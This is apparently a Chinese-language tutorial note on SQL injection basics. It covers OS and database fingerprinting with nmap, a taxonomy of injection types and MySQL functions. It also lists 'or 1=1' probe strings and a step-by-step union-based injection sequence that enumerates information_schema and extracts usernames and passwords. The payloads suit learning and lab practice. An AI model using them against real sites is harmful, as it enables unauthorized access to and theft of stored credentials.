SQL注入基础
操作系统
1.操作系统判断:
Windows对大小写不敏感,Linux敏感
使用TTL值判断(不准确)
使用nmap判断:nmap -O [IP]
2.简要区别两者的意义
3.操作系统层面漏洞类型对应的意义
4.简要操作系统层面漏洞影响的范围
举例:MS17010
数据库
1.识别数据库类型:
(1)常见的代码及对应数据库类型
ASP+Access
PHP+mysql
aspx+mssql
jsp+mssql,oracle
python+mongodb
......
(2)使用nmap扫描:
2.操作系统识别及意义:
不同的数据库有对应的攻击方式
3.数据库常见漏洞攻击:
弱口令,数据库漏洞(SQL注入,mysql身份认证绕过)
第三方软件
1.如何判断有哪些第三方平台或软件:
通过网站扫描,端口扫描
2.出去常规的web安全及安全测试外,类似服务器单一或复杂的其他服务(邮件,游戏,负载均衡等),也可以作为安全测试的目标,此类目标测试原则只是少了web应用或其他安全问题,所以明确安全测试思路是很重要的!
sql分类
1.基于从服务器接收到的响应
▲基于错误的SQL注入
▲联合查询的类型
▲堆查询注射
▲SQL盲注
•基于布尔SQL盲注
•基于时间的SQL盲注
•基于报错的SQL盲注
2.基于如何处理输入的SQL查询(数据类型)
•基于字符串
•数字或整数为基础的
3.基于程度和顺序的注入(哪里发生了影响)
★一阶注射
★二阶注射
一阶注射是指输入的注射语句对WEB直接产生了影响,出现了结果;二阶注入类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响,通过其它的辅助间接的对WEB产生危害,这样的就被称为是二阶注入.
4.基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过cookie注射。
▲通过服务器变量注射。 (基于头部信息的注射)
系统函数
1.常用函数
version()——MySQL版本
user()——数据库用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
2.查出所有信息
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
3.用于 尝试的语句
Ps:--+可以用#替换,url提交过程中Url编码后的#为%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
4.union
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2
另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
注入流程

- 确认存在sql注入后,先使用order by 确定字段数:?id=1' order by 4 --+
- 使用union确认回显位置:?id=-1' union select 1,2,3 --+
- 查询user(),version(),database(),@@datadir,@@version_compile_os:?id=-1' union select 1,user(),database() --+
- 查询所有数据库名:?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
- 查询相关数据库表名(security):?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
- 查询数据库列名(users):?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
- 查询数据库数据:?id=-1' union select 1,username,password from users where id=2--+
information_schema

information_schema数据库是MySQL自带的,MySQL 5以下没有这个数据库,它提供了访问数据库元数据的方式.
什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等.也就是说information_schema中保存着关于MySQL服务器所维护的所有其他数据库的信息.如数据库名,数据库的表,表栏的数据类型与访问权限等.在INFORMATION_SCHEMA中,有数个只读表.

浙公网安备 33010602011771号